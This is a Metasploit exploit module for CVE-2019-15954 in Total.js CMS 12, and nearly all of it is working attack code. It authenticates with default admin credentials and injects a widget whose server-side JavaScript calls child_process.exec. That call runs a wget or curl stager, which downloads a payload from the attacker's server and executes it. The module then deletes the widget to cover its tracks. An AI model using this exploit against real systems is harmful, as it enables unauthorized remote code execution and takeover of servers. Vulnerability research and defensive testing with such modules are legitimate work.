Total.js CMS 12 – Widget JavaScript Code Injection (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => 'Total.js CMS 12 Widget JavaScript Code Injection', 'Description' => %q{ This module exploits a vulnerability in Total.js CMS. The issue is that a user with admin permission can embed a malicious JavaScript payload in a widget, which is evaluated server side, and gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Riccardo Krauter', # Original discovery 'sinn3r' # Metasploit module ], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ], [ 'Total.js CMS on Mac', { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ] ], 'References' => [ ['CVE', '2019-15954'], ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/5'], ['URL', 'https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf'] ], 'DefaultOptions' => { 'RPORT' => 8000, }, 'Notes' => { 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Privileged' => false, 'DisclosureDate' => '2019-08-30', # Reported to seclist 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Total.js CMS', '/']), OptString.new('TOTALJSUSERNAME', [true, 'The username for Total.js admin', 'admin']), OptString.new('TOTALJSPASSWORD', [true, 'The password for Total.js admin', 'admin']) ]) end class AdminToken attr_reader :token def initialize(cookie) @token = cookie.scan(/__admin=([a-zA-Z\d]+);/).flatten.first end def blank? token.blank? end end class Widget attr_reader :name attr_reader :category attr_reader :source_code attr_reader :platform attr_reader :url def initialize(p, u, stager) @name = "p_#{Rex::Text.rand_text_alpha(10)}" @category = 'content' @platform = p @url = u @source_code = %Q|<script total>| @source_code << %Q|global.process.mainModule.require('child_process')| @source_code << %Q|.exec("sleep 2;#{stager}");| @source_code << %Q|</script>| end end def check code = CheckCode::Safe res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'widgets') }) unless res vprint_error('Connection timed out') return CheckCode::Unknown end # If the admin's login page is visited too many times, we will start getting # a 401 (unauthorized response). In that case, we only have a header to work # with. if res.headers['X-Powered-By'].to_s == 'Total.js' code = CheckCode::Detected end # If we are here, then that means we can still see the login page. # Let's see if we can extract a version. html = res.get_html_document element = html.at('title') return code unless element.respond_to?(:text) title = element.text.scan(/CMS v([\d\.]+)/).flatten.first return code unless title version = Gem::Version.new(title) if version <= Gem::Version.new('12') # If we are able to check the version, we could try the default cred and attempt # to execute malicious code and see how the application responds. However, this # seems to a bit too aggressive so I'll leave that to the exploit part. return CheckCode::Appears end CheckCode::Safe end def auth(user, pass) json_body = { 'name' => user, 'password' => pass }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'api', 'login', 'admin'), 'ctype' => 'application/json', 'data' => json_body }) unless res fail_with(Failure::Unknown, 'Connection timed out') end json_res = res.get_json_document cookies = res.get_cookies # If it's an array it could be an error, so we are specifically looking for a hash. if json_res.kind_of?(Hash) && json_res['success'] token = AdminToken.new(cookies) @admin_token = token return token end fail_with(Failure::NoAccess, 'Invalid username or password') end def create_widget(admin_token) platform = target.platform.names.first host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST'] port = datastore['SRVPORT'] proto = datastore['SSL'] ? 'https' : 'http' payload_name = "p_#{Rex::Text.rand_text_alpha(5)}" url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}" widget = Widget.new(platform, url, generate_cmdstager( 'Path' => "#{get_resource}/#{payload_name}", 'temp' => '/tmp', 'file' => payload_name ).join(';')) json_body = { 'name' => widget.name, 'category' => widget.category, 'body' => widget.source_code }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'), 'cookie' => "__admin=#{admin_token.token}", 'ctype' => 'application/json', 'data' => json_body }) unless res fail_with(Failure::Unknown, 'Connection timed out') end res_json = res.get_json_document if res_json.kind_of?(Hash) && res_json['success'] print_good("Widget created successfully") else fail_with(Failure::Unknown, 'No success message in body') end widget end def get_widget_item(admin_token, widget) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'), 'cookie' => "__admin=#{admin_token.token}", 'ctype' => 'application/json' }) unless res fail_with(Failure::Unknown, 'Connection timed out') end res_json = res.get_json_document count = res_json['count'] items = res_json['items'] unless count fail_with(Failure::Unknown, 'No count key found in body') end unless items fail_with(Failure::Unknown, 'No items key found in body') end items.each do |item| widget_name = item['name'] if widget_name.match(/p_/) return item end end [] end def clear_widget admin_token = get_admin_token widget = get_widget print_status('Finding the payload from the widget list...') item = get_widget_item(admin_token, widget) json_body = { 'id' => item['id'], 'picture' => item['picture'], 'name' => item['name'], 'icon' => item['icon'], 'category' => item['category'], 'datecreated' => item['datecreated'], 'reference' => item['reference'] }.to_json res = send_request_cgi({ 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'), 'cookie' => "__admin=#{admin_token.token}", 'ctype' => 'application/json', 'data' => json_body }) unless res fail_with(Failure::Unknown, 'Connection timed out') end res_json = res.get_json_document if res_json.kind_of?(Hash) && res_json['success'] print_good("Widget cleared successfully") else fail_with(Failure::Unknown, 'No success message in body') end end def on_request_uri(cli, req) print_status("#{cli.peerhost} requesting: #{req.uri}") if req.uri =~ /p_.+/ payload_exe = generate_payload_exe(code: payload.encoded) print_status("Sending payload to #{cli.peerhost}") send_response(cli, payload_exe, {'Content-Type' => 'application/octet-stream'}) return end send_not_found(cli) end def on_new_session(session) clear_widget end # This is kind of for cleaning up the wiget, because we cannot pass it as an # argument in on_new_session. def get_widget @widget end # This is also kind of for cleaning up widget, because we cannot pass it as an # argument directly def get_admin_token @admin_token end def exploit user = datastore['TOTALJSUSERNAME'] pass = datastore['TOTALJSPASSWORD'] print_status("Attempting to authenticate with #{user}:#{pass}") admin_token = auth(user, pass) fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank? print_good("Authenticatd as: #{user}:#{pass}") print_status("Creating a widget...") @widget = create_widget(admin_token) super end end |